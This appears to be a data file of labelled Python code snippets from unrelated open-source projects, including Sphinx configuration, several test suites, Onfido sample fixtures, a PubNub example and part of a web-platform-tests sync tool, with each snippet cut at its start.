#html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named ""default.css"" will overwrite the builtin ""default.css"". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, ""Created using Sphinx"" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, ""(C) Copyright ..."" is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. "".xhtml""). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'openpa-organigrammidoc' # -- Options for LaTeX output -------------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'openpa-organigrammi.tex', u'openpa-organigrammi Documentation', u'Simone Dalla', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For ""manual"" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'openpa-organigrammi', u'openpa-organigrammi Documentation', [u'Simone Dalla'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------------ # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'openpa-organigrammi', u'openpa-organigrammi Documentation', u'Simone Dalla', 'openpa-organigrammi', 'One line description of project.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote' # If true, do not generate a @detailmenu in the ""Top"" node's menu. #texinfo_no_detailmenu = False",1 "nvironment import Environment from pydeploy.environment_utils import EnvironmentUtils from pydeploy.checkout_cache import CheckoutCache from pydeploy.installer import Installer from pydeploy import sources from pydeploy.scm import git from pydeploy import command from pydeploy import exceptions class SourceTest(ForgeTest): def setUp(self): super(SourceTest, self).setUp() self.env = self.forge.create_mock(Environment) self.env.installer = self.forge.create_mock(Installer) self.env.utils = self.forge.create_mock(EnvironmentUtils) class SourceFromStringTest(ForgeTest): def setUp(self): super(SourceFromStringTest, self).setUp() self.S = sources.Source.from_anything def test__git(self): self.assertIsInstance(self.S(""git://bla""), sources.Git) def test__path(self): filename = tempfile.mkdtemp() self.assertIsInstance(self.S(filename), sources.Path) def test__easy_install(self): self.assertIsInstance(self.S(""blablabla""), sources.EasyInstall) def test__invalid_source(self): for invalid_value in [2, 2.5, True]: with self.assertRaises(ValueError): self.S(invalid_value) class PathSourceTest(SourceTest): def setUp(self): super(PathSourceTest, self).setUp() self.path = tempfile.mkdtemp() self.source = sources.Path(self.path) def test__get_name(self): self.assertEquals(self.source.get_name(), self.path) def test__uses_expanduser(self): source = sources.Path(""~/a/b/c"") self.assertEquals(source._param, os.path.expanduser(""~/a/b/c"")) def test__get_signature(self): self.assertEquals(self.source.get_signature(), ""Path({0})"".format(self.path)) def test__checkout(self): self.assertEquals(self.source.checkout(self.env), self.path) with self.assertRaises(NotImplementedError): self.source.checkout(self.env, '/another/path') @parameters.toggle('reinstall') def test__install(self, reinstall): self.env.installer.install_unpacked_package(self.path, self.path, reinstall=reinstall) self.forge.replay() self.source.install(self.env, reinstall=reinstall) class DelegateToPathInstallTest(SourceTest): def setUp(self): super(DelegateToPathInstallTest, self).setUp() self.path_class = self.forge.create_class_mock(sources.Path) self.orig_path_class = sources.Path self.forge.replace_with(sources, ""Path"", self.path_class) def expect_delegation_to_path_install(self, path, name, reinstall): path_mock = self.forge.create_mock(self.orig_path_class) self.path_class(path, name=name).and_return(path_mock) return path_mock.install(self.env, reinstall=reinstall) class GitSourceTest(DelegateToPathInstallTest): def setUp(self): super(GitSourceTest, self).setUp() self.repo_url = ""some/repo/url"" self.branch = 'some_branch' self.source = sources.Git(self.repo_url, self.branch) self.forge.replace_many(git, ""clone_to_or_update"", ""reset_submodules"") def test__master_is_default_branch(self): self.assertEquals(sources.Git('bla')._branch, 'master') def test__get_name(self): self.assertEquals(self.source.get_name(), self.repo_url + ""@"" + self.branch) def test__repr(self): self.assertEquals(repr(self.source), 'Git({})'.format(self.source.get_name())) def test__get_signature(self): self.assertEquals(self.source.get_signature(), repr(self.source)) @parameters.toggle('reinstall') def test__git_source_install(self, reinstall): self.forge.replace(self.source, ""checkout"") checkout_path = ""some/checkout/path"" self.source.checkout(self.env).and_return(checkout_path) self.expect_delegation_to_path_install(checkout_path, name=self.repo_url, reinstall=reinstall) with self.forge.verified_replay_context(): self.source.install(self.env, reinstall=reinstall) def test__git_source_checkout_with_path_argument(self): checkout_path = ""/some/path/to/checkout"" git.clone_to_or_update(url=self.repo_url, path=checkout_path, branch=self.branch) git.reset_submodules(checkout_path) with self.forge.verified_replay_context(): result = self.source.checkout(self.env, checkout_path) self.assertIs(result, checkout_path) def test__git_source_checkout_no_path_argument(self): checkout_path = ""/some/path/to/checkout"" checkout_cache = self.forge.create_mock(CheckoutCache) self.env.get_checkout_cache().and_return(checkout_cache) checkout_cache.get_checkout_path(self.repo_url).and_return(checkout_path) git.clone_to_or_update(url=self.repo_url, branch=self.branch, path=checkout_path) git.reset_submodules(checkout_path) with self.forge.verified_replay_context(): result = self.source.checkout(self.env) self.assertIs(result, checkout_path) def test__git_identifies_git_prefix(self): url = ""git://bla"" source = sources.Source.from_anything(url) self.assertIsInstance(source, sources.Git) class GitContraintsTest(ForgeTest): def setUp(self): super(GitContraintsTest, self).setUp() self.forge.replace(git, ""get_remote_references_dict"") self.url = ""some_url"" self.source = sources.Git(self.url) def test__more_than_one_constraint_not_supported(self): with self.assertRaises(NotImplementedError): self.source.resolve_constraints([('>=', '2.0.0'), ('<=', '3.0.0')]) @parameters.iterate('tag', ['v2.0.0', '2.0.0']) def test__exact_version_matches_tag(self, tag): self._assert_chooses(""x==2.0.0"", { git.Tag(tag) : ""some_hash"" }, 'tags/{}'.format(tag)) def test__exact_version_with_no_match_raises_exception(self): self._assert_no_match('x==2.0.0', { git.Tag('bla') : 'h1', git.Branch('bloop') : 'h2' }) @parameters.iterate('branch_name', ['v2.0.0', '2.0.0']) def test__minimum_version_inclusive_selects_exact(self, branch_name): self._assert_chooses(""x>=2.0.0"", { git.Branch(branch_name) : ""h1"" }, branch_name) @parameters.toggle('inclusive') @parameters.iterate('branch_name', ['3.0.0', 'v3.0.0', '2.3.2', 'v2.3']) def test__minimum_version_with_matches(self, inclusive, branch_name): self._assert_chooses(""x{0}2.0.0"".format("">="" if inclusive else "">""), { git.Branch(branch_name) }, branch_name) @parameters.toggle('inclusive') @parameters.iterate('branch_name', ['2.0.0-a1', 'v2.0.0-b1', 'v1.9']) def test__minimum_version_without_matches(self, inclusive, branch_name): self._assert_no_match(""x{0}2.0.0"".format("">="" if inclusive else "">""), { git.Branch(branch_name) }) @parameters.toggle('inclusive') def test__unbound_version_takes_from_master(self, inclusive): self._assert_chooses(""x{0}2.0.0"".format("">="" if inclusive else "">""), { git.Branch('master') }, 'master') def _assert_chooses(self, requirement, options, chosen): requirement = Requirement.parse(requirement) git.get_remote_references_dict(self.url).and_return(options) self.forge.replay() new_source = self.source.resolve_constraints(requirement.specs) self.assertIsInstance(new_source, sources.Git) self.assertEquals(new_source._url, self.url) self.assertEquals(new_source._branch, chosen) def _assert_no_match(self, requirement, options): specs = Requirement.parse(requirement).specs git.get_remote_references_dict(self.url).and_return(options) self.forge.replay() with self.assertRaises(exceptions.RequiredVersionNotFound): self.source.resolve_constraints(specs) class ExternalToolSourceTest(SourceTest): def setUp(self): super(ExternalToolSourceTest, self).setUp() self.package_name = ""some_package==1.0.0"" self.forge.replace(command, ""execute_assert_success"") class PIPSourceTest(ExternalToolSourceTest): @parameters.toggle('reinstall') def test__install(self, reinstall): source = sources.PIP(self.package_name) self.env.execute_pip_install(self.package_name, reinstall=reinstall) with self.forge.verified_replay_context(): source.install(self.env, reinstall=reinstall) def test__checkout_not_implemented(self): with self.assertRaises(NotImplementedError): sources.PIP(self.package_name).checkout(self.env, '/some/path') with self.assertRaises(NotImplementedError): sources.PIP(self.package_name).checkout(self.env) class EasyInstallSourceTest(ExternalToolSourceTest): @parameters.toggle('reinstall') def test__install(self, reinstall): self.env.execute_easy_install(self.package_name, reinstall=reinstall) source = sources.EasyInstall(self.package_name) with self.forge.verified_replay_context(): source.install(self.env, reinstall=reinstall) def test__checkout_not_implemented(self): with self.assertRaises(NotImplementedError): sources.EasyInstall(self.package_name).checkout(self.env, '/some/path') with self.assertRaises(NotImplementedError): sources.EasyInstall(self.package_name).checkout(self.env) class SCMTest(SourceTest): def test__git(self): repo = ""git://some_repo"" result = sources.SCM(repo) self.assertIsInstance(result, sources.Git) self.assertEquals(result._url, repo) def test__git_with_branch(self): result = sources.SCM(""git://some_repo@branch_name"") self.assertIsInstance(result, sources.Git) self.assertEquals(result._url, ""git://some_repo"") self.assertEquals(result._branch, ""branch_name"") def test__other(self): with self.assertRaises(ValueError): sources.SCM(""bla"") ",1 "import Applicant, Check, Event, Report APPLICANT_ID = str(uuid.uuid4()) CHECK_ID = str(uuid.uuid4()) IDENTITY_REPORT_ID = str(uuid.uuid4()) DOCUMENT_REPORT_ID = str(uuid.uuid4()) DOCUMENT_ID = str(uuid.uuid4()) User = get_user_model() @pytest.fixture def user(): return User.objects.create_user( ""fred"", first_name=""Fred"", last_name=""Flinstone"", email=""fred@example.com"" ) @pytest.fixture def applicant(user): data = copy.deepcopy(TEST_APPLICANT) return Applicant.objects.create_applicant(user=user, raw=data) @pytest.fixture def check(applicant): data = copy.deepcopy(TEST_CHECK) return Check.objects.create_check(applicant, raw=data) @pytest.fixture def identity_report(check): data = copy.deepcopy(TEST_REPORT_IDENTITY_ENHANCED) return Report.objects.create_report(check, raw=data) @pytest.fixture def document_report(check): data = copy.deepcopy(TEST_REPORT_DOCUMENT) return Report.objects.create_report(check, raw=data) @pytest.fixture def report(identity_report): return identity_report @pytest.fixture def event(check): data = copy.deepcopy(TEST_EVENT) return Event().parse(data) # Test data taken from Onfido v3 API docs. # https://documentation.onfido.com/#applicant-object TEST_APPLICANT = { ""id"": APPLICANT_ID, ""created_at"": ""2019-10-09T16:52:42Z"", ""sandbox"": True, ""first_name"": ""Jane"", ""last_name"": ""Doe"", ""email"": None, ""dob"": ""1990-01-01"", ""delete_at"": None, ""href"": f""/v3/applicants/{APPLICANT_ID}"", ""id_numbers"": [], ""address"": { ""flat_number"": None, ""building_number"": None, ""building_name"": None, ""street"": ""Second Street"", ""sub_street"": None, ""town"": ""London"", ""state"": None, ""postcode"": ""S2 2DF"", ""country"": ""GBR"", ""line1"": None, ""line2"": None, ""line3"": None, }, } # https://documentation.onfido.com/#check-object TEST_CHECK = { ""id"": CHECK_ID, ""created_at"": ""2019-10-09T17:01:59Z"", ""status"": ""in_progress"", ""redirect_uri"": None, ""result"": None, ""sandbox"": True, ""tags"": [], ""results_uri"": f""https://onfido.com/checks/{CHECK_ID}/reports"", ""form_uri"": None, ""paused"": False, ""version"": ""3.0"", ""report_ids"": [IDENTITY_REPORT_ID], ""href"": f""/v3/checks/{CHECK_ID}"", ""applicant_id"": APPLICANT_ID, ""applicant_provides_data"": False, } # https://documentation.onfido.com/#identity-enhanced-report TEST_REPORT_IDENTITY_ENHANCED = { ""created_at"": ""2019-10-03T15:54:20Z"", ""href"": f""/v3/reports/{IDENTITY_REPORT_ID}"", ""id"": IDENTITY_REPORT_ID, ""name"": ""identity_enhanced"", ""properties"": { ""matched_address"": 19099121, ""matched_addresses"": [ {""id"": 19099121, ""match_types"": [""credit_agencies"", ""voting_register""]} ], }, ""result"": ""clear"", ""status"": ""complete"", ""sub_result"": None, ""breakdown"": { ""sources"": { ""result"": ""clear"", ""breakdown"": { ""total_sources"": { ""result"": ""clear"", ""properties"": {""total_number_of_sources"": ""3""}, } }, }, ""address"": { ""result"": ""clear"", ""breakdown"": { ""credit_agencies"": { ""result"": ""clear"", ""properties"": {""number_of_matches"": ""1""}, }, ""telephone_database"": {""result"": ""clear"", ""properties"": {}}, ""voting_register"": {""result"": ""clear"", ""properties"": {}}, }, }, ""date_of_birth"": { ""result"": ""clear"", ""breakdown"": { ""credit_agencies"": {""result"": ""clear"", ""properties"": {}}, ""voting_register"": {""result"": ""clear"", ""properties"": {}}, }, }, ""mortality"": {""result"": ""clear""}, }, ""check_id"": CHECK_ID, ""documents"": [], } TEST_REPORT_DOCUMENT = { ""created_at"": ""2019-10-03T14:05:48Z"", ""documents"": [{""id"": DOCUMENT_ID}], ""href"": f""/v3/reports/{DOCUMENT_REPORT_ID}"", ""id"": DOCUMENT_REPORT_ID, ""name"": ""document"", ""properties"": { ""nationality"": """", ""last_name"": ""Names"", ""issuing_country"": ""GBR"", ""gender"": """", ""first_name"": ""Report"", ""document_type"": ""passport"", ""document_numbers"": [{""value"": ""123456789"", ""type"": ""document_number""}], ""date_of_expiry"": ""2030-01-01"", ""date_of_birth"": ""1990-01-01"", }, ""result"": ""clear"", ""status"": ""complete"", ""sub_result"": ""clear"", ""breakdown"": { ""data_comparison"": { ""result"": ""clear"", ""breakdown"": { ""issuing_country"": {""result"": ""clear"", ""properties"": {}}, ""gender"": {""result"": ""clear"", ""properties"": {}}, ""date_of_expiry"": {""result"": ""clear"", ""properties"": {}}, ""last_name"": {""result"": ""clear"", ""properties"": {}}, ""document_type"": {""result"": ""clear"", ""properties"": {}}, ""document_numbers"": {""result"": ""clear"", ""properties"": {}}, ""first_name"": {""result"": ""clear"", ""properties"": {}}, ""date_of_birth"": {""result"": ""clear"", ""properties"": {}}, }, }, ""data_validation"": { ""result"": ""clear"", ""breakdown"": { ""gender"": {""result"": ""clear"", ""properties"": {}}, ""date_of_birth"": {""result"": ""clear"", ""properties"": {}}, ""document_numbers"": {""result"": ""clear"", ""properties"": {}}, ""document_expiration"": {""result"": ""clear"", ""properties"": {}}, ""expiry_date"": {""result"": ""clear"", ""properties"": {}}, ""mrz"": {""result"": ""clear"", ""properties"": {}}, }, }, ""age_validation"": { ""result"": ""clear"", ""breakdown"": { ""minimum_accepted_age"": {""result"": ""clear"", ""properties"": {}} }, }, ""image_integrity"": { ""result"": ""clear"", ""breakdown"": { ""image_quality"": {""result"": ""clear"", ""properties"": {}}, ""conclusive_document_quality"": {""result"": ""clear"", ""properties"": {}}, ""supported_document"": {""result"": ""clear"", ""properties"": {}}, ""colour_picture"": {""result"": ""clear"", ""properties"": {}}, }, }, ""visual_authenticity"": { ""result"": ""clear"", ""breakdown"": { ""fonts"": {""result"": ""clear"", ""properties"": {}}, ""picture_face_integrity"": {""result"": ""clear"", ""properties"": {}}, ""template"": {""result"": ""clear"", ""properties"": {}}, ""security_features"": {""result"": ""clear"", ""properties"": {}}, ""original_document_present"": {""result"": ""clear"", ""properties"": {}}, ""digital_tampering"": {""result"": ""clear"", ""properties"": {}}, ""other"": {""result"": ""clear"", ""properties"": {}}, ""face_detection"": {""result"": ""clear"", ""properties"": {}}, }, }, ""data_consistency"": { ""result"": ""clear"", ""breakdown"": { ""date_of_expiry"": {""result"": ""clear"", ""properties"": {}}, ""document_numbers"": {""result"": ""clear"", ""properties"": {}}, ""issuing_country"": {""result"": ""clear"", ""properties"": {}}, ""document_type"": {""result"": ""clear"", ""properties"": {}}, ""date_of_birth"": {""result"": ""clear"", ""properties"": {}}, ""gender"": {""result"": ""clear"", ""properties"": {}}, ""first_name"": {""result"": ""clear"", ""properties"": {}}, ""last_name"": {""result"": ""clear"", ""properties"": {}}, ""nationality"": {""result"": ""clear"", ""properties"": {}}, }, }, ""police_record"": {""result"": ""clear""}, ""compromised_document"": {""result"": ""clear""}, }, ""check_id"": CHECK_ID, } TEST_EVENT = { ""payload"": { ""resource_type"": ""check"", ""action"": ""check.form_opened"", ""object"": { ""id"": CHECK_ID, ""status"": ""complete"", ""completed_at_iso8601"": ""2019-10-28T15:00:39Z"", ""href"": f""https://api.onfido.com/v3/checks/{CHECK_ID}"", }, } } ",1 " import mock import pytest from olympia.amo.tests import BaseTestCase, TestCase from olympia.amo import decorators, get_user, set_user from olympia.amo.urlresolvers import reverse from olympia.users.models import UserProfile pytestmark = pytest.mark.django_db def test_post_required(): def func(request): return mock.sentinel.response g = decorators.post_required(func) request = mock.Mock() request.method = 'GET' assert isinstance(g(request), http.HttpResponseNotAllowed) request.method = 'POST' assert g(request) == mock.sentinel.response def test_json_view(): """"""Turns a Python object into a response."""""" def func(request): return {'x': 1} response = decorators.json_view(func)(mock.Mock()) assert isinstance(response, http.HttpResponse) assert response.content == '{""x"": 1}' assert response['Content-Type'] == 'application/json' assert response.status_code == 200 def test_json_view_normal_response(): """"""Normal responses get passed through."""""" expected = http.HttpResponseForbidden() def func(request): return expected response = decorators.json_view(func)(mock.Mock()) assert expected is response assert response['Content-Type'] == 'text/html; charset=utf-8' def test_json_view_error(): """"""json_view.error returns 400 responses."""""" response = decorators.json_view.error({'msg': 'error'}) assert isinstance(response, http.HttpResponseBadRequest) assert response.content == '{""msg"": ""error""}' assert response['Content-Type'] == 'application/json' def test_json_view_status(): def func(request): return {'x': 1} response = decorators.json_view(func, status_code=202)(mock.Mock()) assert response.status_code == 202 def test_json_view_response_status(): response = decorators.json_response({'msg': 'error'}, status_code=202) assert response.content == '{""msg"": ""error""}' assert response['Content-Type'] == 'application/json' assert response.status_code == 202 class TestTaskUser(TestCase): fixtures = ['base/users'] def test_set_task_user(self): @decorators.set_task_user def some_func(): return get_user() set_user(UserProfile.objects.get(username='regularuser')) assert get_user().pk == 999 assert some_func().pk == int(settings.TASK_USER_ID) assert get_user().pk == 999 class TestLoginRequired(BaseTestCase): def setUp(self): super(TestLoginRequired, self).setUp() self.f = mock.Mock() self.f.__name__ = 'function' self.request = mock.Mock() self.request.user.is_authenticated.return_value = False self.request.get_full_path.return_value = 'path' def test_normal(self): func = decorators.login_required(self.f) response = func(self.request) assert not self.f.called assert response.status_code == 302 assert response['Location'] == ( '%s?to=%s' % (reverse('users.login'), 'path')) def test_no_redirect(self): func = decorators.login_required(self.f, redirect=False) response = func(self.request) assert not self.f.called assert response.status_code == 401 def test_decorator_syntax(self): # @login_required(redirect=False) func = decorators.login_required(redirect=False)(self.f) response = func(self.request) assert not self.f.called assert response.status_code == 401 def test_no_redirect_success(self): func = decorators.login_required(redirect=False)(self.f) self.request.user.is_authenticated.return_value = True func(self.request) assert self.f.called class TestSetModifiedOn(TestCase): fixtures = ['base/users'] @decorators.set_modified_on def some_method(self, worked): return worked def test_set_modified_on(self): users = list(UserProfile.objects.all()[:3]) self.some_method(True, set_modified_on=users) for user in users: assert UserProfile.objects.get(pk=user.pk).modified.date() == ( datetime.today().date()) def test_not_set_modified_on(self): yesterday = datetime.today() - timedelta(days=1) qs = UserProfile.objects.all() qs.update(modified=yesterday) users = list(qs[:3]) self.some_method(False, set_modified_on=users) for user in users: date = UserProfile.objects.get(pk=user.pk).modified.date() assert date < datetime.today().date() class TestPermissionRequired(TestCase): def setUp(self): super(TestPermissionRequired, self).setUp() self.f = mock.Mock() self.f.__name__ = 'function' self.request = mock.Mock() @mock.patch('olympia.access.acl.action_allowed') def test_permission_not_allowed(self, action_allowed): action_allowed.return_value = False func = decorators.permission_required('', '')(self.f) with self.assertRaises(PermissionDenied): func(self.request) @mock.patch('olympia.access.acl.action_allowed') def test_permission_allowed(self, action_allowed): action_allowed.return_value = True func = decorators.permission_required('', '')(self.f) func(self.request) assert self.f.called @mock.patch('olympia.access.acl.action_allowed') def test_permission_allowed_correctly(self, action_allowed): func = decorators.permission_required('Admin', '%')(self.f) func(self.request) action_allowed.assert_called_with(self.request, 'Admin', '%') ",1 "(c) 2010 Stephen Blum ## http://www.pubnub.com/ import sys from pubnub import PubnubTornado as Pubnub publish_key = len(sys.argv) > 1 and sys.argv[1] or 'demo' subscribe_key = len(sys.argv) > 2 and sys.argv[2] or 'demo' secret_key = len(sys.argv) > 3 and sys.argv[3] or 'demo' cipher_key = len(sys.argv) > 4 and sys.argv[4] or '' ssl_on = len(sys.argv) > 5 and bool(sys.argv[5]) or False ## ----------------------------------------------------------------------- ## Initiate Pubnub State ## ----------------------------------------------------------------------- pubnub = Pubnub(publish_key=publish_key, subscribe_key=subscribe_key, secret_key=secret_key, cipher_key=cipher_key, ssl_on=ssl_on) channel = 'hello_world' # Asynchronous usage def callback(message): print(message) pubnub.here_now(channel, callback=callback, error=callback) pubnub.start() ",1 "aseTest)), ""changes""), """") class EditRepo1Test(BaseTest): """""" edit repo: change comment """""" fixtureCmds = [ ""aptly repo create repo1"", ] runCmd = ""aptly repo edit -comment=Lala repo1"" def check(self): self.check_output() self.check_cmd_output(""aptly repo show repo1"", ""repo-show"") class EditRepo2Test(BaseTest): """""" edit repo: change distribution & component """""" fixtureCmds = [ ""aptly repo create -comment=Lala -component=non-free repo2"", ] runCmd = ""aptly repo edit -distribution=wheezy -component=contrib repo2"" def check(self): self.check_output() self.check_cmd_output(""aptly repo show repo2"", ""repo-show"") class EditRepo3Test(BaseTest): """""" edit repo: no such repo """""" runCmd = ""aptly repo edit repo3"" expectedCode = 1 class EditRepo4Test(BaseTest): """""" edit repo: add uploaders.json """""" fixtureCmds = [ ""aptly repo create repo4"", ] runCmd = ""aptly repo edit -uploaders-file=${changes}/uploaders2.json repo4"" def check(self): self.check_output() self.check_cmd_output(""aptly repo show repo4"", ""repo_show"") class EditRepo5Test(BaseTest): """""" edit repo: with broken uploaders.json """""" fixtureCmds = [ ""aptly repo create repo5"", ] runCmd = ""aptly repo edit -uploaders-file=${changes}/uploaders3.json repo5"" expectedCode = 1 class EditRepo6Test(BaseTest): """""" edit local repo: with missing uploaders.json """""" fixtureCmds = [ ""aptly repo create repo6"", ] runCmd = ""aptly repo edit -uploaders-file=${changes}/uploaders-not-found.json repo6"" expectedCode = 1 outputMatchPrepare = changesRemove class EditRepo7Test(BaseTest): """""" edit local repo: remove uploaders.json """""" fixtureCmds = [ ""aptly repo create -uploaders-file=${changes}/uploaders2.json repo7"", ] runCmd = ""aptly repo edit -uploaders-file= repo7"" def check(self): self.check_output() self.check_cmd_output(""aptly repo show repo7"", ""repo_show"") ",1 "(.+)') # Check for a prefix like data:// def getParentAndBase(path): match = PREFIX.match(path) if match is None: if path.endswith('/'): stripped_path = path[:-1] else: stripped_path = path base = FNAME_MATCH.search(stripped_path) if base is None: raise ValueError('Invalid path') parent = FNAME_MATCH.sub('', stripped_path) return parent, base.group(1) else: prefix, leading_slash, uri = match.groups() parts = uri.split('/') parent_path = '/'.join(parts[:-1]) if leading_slash is not None: parent_path = '{prefix}/{uri}'.format(prefix=prefix, uri='/'.join(parts[:-1])) else: parent_path = '{prefix}{uri}'.format(prefix=prefix, uri='/'.join(parts[:-1])) return parent_path, parts[-1] def pathJoin(parent, base): if parent.endswith('/'): return parent + base return parent + '/' + base def md5_for_file(fname): hash_md5 = hashlib.md5() with open(fname, ""rb"") as f: for chunk in iter(lambda: f.read(4096), b""""): hash_md5.update(chunk) return str(hash_md5.hexdigest()) def md5_for_str(content): hash_md5 = hashlib.md5() hash_md5.update(content.encode()) return str(hash_md5.hexdigest()) ",1 "orm_field_types(self): f = ConstanceForm({}) self.assertIsInstance(f.fields['INT_VALUE'], fields.IntegerField) self.assertIsInstance(f.fields['BOOL_VALUE'], fields.BooleanField) self.assertIsInstance(f.fields['STRING_VALUE'], fields.CharField) self.assertIsInstance(f.fields['DECIMAL_VALUE'], fields.DecimalField) self.assertIsInstance(f.fields['DATETIME_VALUE'], fields.SplitDateTimeField) self.assertIsInstance(f.fields['TIMEDELTA_VALUE'], fields.DurationField) self.assertIsInstance(f.fields['FLOAT_VALUE'], fields.FloatField) self.assertIsInstance(f.fields['DATE_VALUE'], fields.DateField) self.assertIsInstance(f.fields['TIME_VALUE'], fields.TimeField) # from CONSTANCE_ADDITIONAL_FIELDS self.assertIsInstance(f.fields['CHOICE_VALUE'], fields.ChoiceField) self.assertIsInstance(f.fields['EMAIL_VALUE'], fields.EmailField) ",1 "').touch() def test_scheme_not_supported(): with pytest.raises(NotImplementedError): UrlPath('http:///tmp/test').touch() def test_scheme_not_listed(): with pytest.raises(NotImplementedError): UrlPath('test:///tmp/test').touch() def test_file_additional(): assert UrlPath('.').resolve() == UrlPath.cwd() def test_scheme_alias(): # does not raise NotImplementedError with pytest.raises(urllib.error.URLError): UrlPath('https://localhost/test').exists() ",1 "he License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from fake_switches.command_processing.base_command_processor import BaseCommandProcessor class ConfigVlanCommandProcessor(BaseCommandProcessor): def init(self, switch_configuration, terminal_controller, logger, piping_processor, *args): super(ConfigVlanCommandProcessor, self).init(switch_configuration, terminal_controller, logger, piping_processor) self.vlan = args[0] def get_prompt(self): return self.switch_configuration.name + ""(config-vlan)#"" def do_name(self, *args): self.vlan.name = (args[0][:32]) def do_exit(self): self.is_done = True ",1 "is file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """"""Utility functions."""""" from __future__ import absolute_import from __future__ import division from __future__ import print_function # pylint: disable=unused-import,line-too-long,wildcard-import from tensorflow.contrib.kfac.python.ops.utils import * from tensorflow.python.util.all_util import remove_undocumented # pylint: enable=unused-import,line-too-long,wildcard-import _allowed_symbols = [ ""SequenceDict"", ""setdefault"", ""tensors_to_column"", ""column_to_tensors"", ""kronecker_product"", ""layer_params_to_mat2d"", ""mat2d_to_layer_params"", ""compute_pi"", ""posdef_inv"", ""posdef_inv_matrix_inverse"", ""posdef_inv_cholesky"", ""posdef_inv_funcs"", ""SubGraph"", ""generate_random_signs"", ""fwd_gradients"", ] remove_undocumented(__name__, allowed_exception_list=_allowed_symbols) ",1 "_unique_name from wptrunner.update.base import Step, StepRunner, exit_clean, exit_unclean from .tree import Commit, GitTree, Patch import github from .github import GitHub def rewrite_patch(patch, strip_dir): """"""Take a Patch and convert to a different repository by stripping a prefix from the file paths. Also rewrite the message to remove the bug number and reviewer, but add a bugzilla link in the summary. :param patch: the Patch to convert :param strip_dir: the path prefix to remove """""" if not strip_dir.startswith(""/""): strip_dir = ""/%s""% strip_dir new_diff = [] line_starts = [""diff "", ""+++ "", ""--- ""] for line in patch.diff.split(""\n""): for start in line_starts: if line.startswith(start): new_diff.append(line.replace(strip_dir, """").encode(""utf8"")) break else: new_diff.append(line) new_diff = ""\n"".join(new_diff) assert new_diff != patch return Patch(patch.author, patch.email, rewrite_message(patch), new_diff) def rewrite_message(patch): rest = patch.message.body if patch.message.bug is not None: return ""\n"".join([patch.message.summary, patch.message.body, """", ""Upstreamed from https://bugzilla.mozilla.org/show_bug.cgi?id=%s"" % patch.message.bug]) return ""\n"".join([patch.message.full_summary, rest]) class SyncToUpstream(Step): """"""Sync local changes to upstream"""""" def create(self, state): if not state.kwargs[""upstream""]: return if not isinstance(state.local_tree, GitTree): self.logger.error(""Cannot sync with upstream from a non-Git checkout."") return exit_clean try: import requests except ImportError: self.logger.error(""Upstream sync requires the requests module to be installed"") return exit_clean if not state.sync_tree: os.makedirs(state.sync[""path""]) state.sync_tree = GitTree(root=state.sync[""path""]) kwargs = state.kwargs with state.push([""local_tree"", ""sync_tree"", ""tests_path"", ""metadata_path"", ""sync""]): state.token = kwargs[""token""] runner = SyncToUpstreamRunner(self.logger, state) runner.run() class CheckoutBranch(Step): """"""Create a branch in the sync tree pointing at the last upstream sync commit and check it out"""""" provides = [""branch""] def create(self, state): self.logger.info(""Updating sync tree from %s"" % state.sync[""remote_url""]) state.branch = state.sync_tree.unique_branch_name( ""outbound_update_%s"" % state.test_manifest.rev) state.sync_tree.update(state.sync[""remote_url""], state.sync[""branch""], state.branch) state.sync_tree.checkout(state.test_manifest.rev, state.branch, force=True) class GetLastSyncCommit(Step): """"""Find the gecko commit at which we last performed a sync with upstream."""""" provides = [""last_sync_path"", ""last_sync_commit""] def create(self, state): self.logger.info(""Looking for last sync commit"") state.last_sync_path = 